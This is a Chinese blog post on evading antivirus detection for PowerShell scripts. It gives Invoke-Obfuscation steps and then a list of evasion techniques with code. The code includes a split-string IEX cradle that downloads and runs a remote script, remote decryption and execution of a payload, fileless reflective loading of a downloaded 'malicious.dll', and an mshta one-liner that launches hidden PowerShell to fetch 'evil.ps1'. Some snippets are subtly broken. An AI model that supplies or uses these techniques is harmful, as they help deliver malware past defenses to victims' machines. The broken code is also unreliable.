【免杀】powershell

该文章介绍了如何下载并使用Invoke-Obfuscation工具对Powershell脚本进行混淆处理,以避开某些浏览器的检测。尽管这种方法可能使脚本在某些扫描服务如Virscan和VirusTotal上的报毒率较低,但并不是所有安全软件都能绕过这种混淆技术。

下载Invoke-Obfuscation:https://github.com/danielbohannon/Invoke-Obfuscation
进入Invoke-Obfuscation目录,在powershell中执行

Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation

如果报错,在管理员权限下powershell执行

set-ExecutionPolicy RemoteSigned
y
set scriptpath C:\Users\Admin\Desktop\shell.ps1
设置要混淆的脚本位置
 encoding
 选择混淆方法
 1
 选择编码方式
 out shell.ps1
 输出为文件

### 生成 PowerShell 脚本的策略 为了生成不会被安全软件轻易检测到的 PowerShell 脚本,可以采用多种混淆和执行策略,结合行为规避和代码混淆技术,使脚本在执行过程中更难以被识别为恶意行为。 #### 1. 使用字符串拼接与动态执行 PowerShell 支持通过字符串拼接构造命令,并使用 `IEX`(Invoke-Expression)动态执行。这种方式可以有效打乱静态分析的识别路径。例如: ```powershell $c1='IEX(New-Object Net.WebClient).Downlo' $c2='adString' $c3='http://192.168.0.108/1.ps1' IEX ($c1 + $c2 + "('" + $c3 + "')") ``` 该方式将下载并执行远程脚本,避直接暴露完整命令,从而绕过部分行为检测机制[^3]。 #### 2. 混淆 PowerShell 代码 使用代码混淆工具(如 `Invoke-Obfuscation` 或 `PSObfuscate`)对脚本进行重命名、插入无意义代码、字符串加密等操作,使静态扫描工具难以识别其真实意图。例如: ```powershell $var = 'Ev'+'al' $code = 'Write-Output "Hello World"' Invoke-Expression $var $code ``` 通过将 `Eval` 拆分为多个字符串拼接,再使用 `Invoke-Expression` 执行,可以有效绕过部分静态规则匹配。 #### 3. 分离执行逻辑与数据 将关键逻辑与数据分离,例如将 Shellcode 或命令以加密形式存储在远程服务器上,在运行时解密并执行。例如: ```powershell $encrypted = (New-Object Net.WebClient).DownloadString('http://example.com/encrypted.ps1') $key = 'mysecretpassword' $decrypted = Decrypt-Data $encrypted $key IEX $decrypted ``` 此类方法避在脚本中直接包含可疑内容,降低被静态扫描识别的风险[^1]。 #### 4. 降低权限运行 避以管理员权限运行 PowerShell 脚本,以减少被安全工具标记的可能性。可以通过修改执行策略或在普通用户权限下运行 PowerShell 会话,从而降低可疑性。例如: ```powershell Set-ExecutionPolicy RemoteSigned -Scope CurrentUser ``` 此命令将执行策略限制为当前用户,避修改系统全局策略,从而减少被监控系统行为的机会[^2]。 #### 5. 使用无文件落地技术 PowerShell 支持从内存中直接加载并执行代码,避将脚本写入磁盘。例如使用反射加载 .NET 程序集或执行 Shellcode: ```powershell $bytes = (New-Object System.Net.WebClient).DownloadData('http://example.com/malicious.dll') $assembly = [System.Reflection.Assembly]::Load($bytes) $entry = $assembly.EntryPoint $entry.Invoke($null, $null) ``` 该方式不依赖磁盘文件,有效规避基于文件的检测机制。 #### 6. 利用合法程序白名单机制 结合系统内置的合法程序(如 `rundll32.exe`、`mshta.exe`)加载 PowerShell 脚本,利用白名单机制绕过检测。例如: ```powershell mshta vbscript:CreateObject("WScript.Shell").Run("powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://example.com/evil.ps1')",0)(window.close) ``` 该命令通过 `mshta` 启动 PowerShell,避直接调用 PowerShell.exe,从而绕过部分检测规则。 ### 总结 生成 PowerShell 脚本的核心在于规避静态与动态检测机制,包括但不限于代码混淆、行为分离、无文件执行、权限控制等手段。每种方法都有其适用场景和局限性,实际使用中应结合多种技术,以提升绕过检测的成功率。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值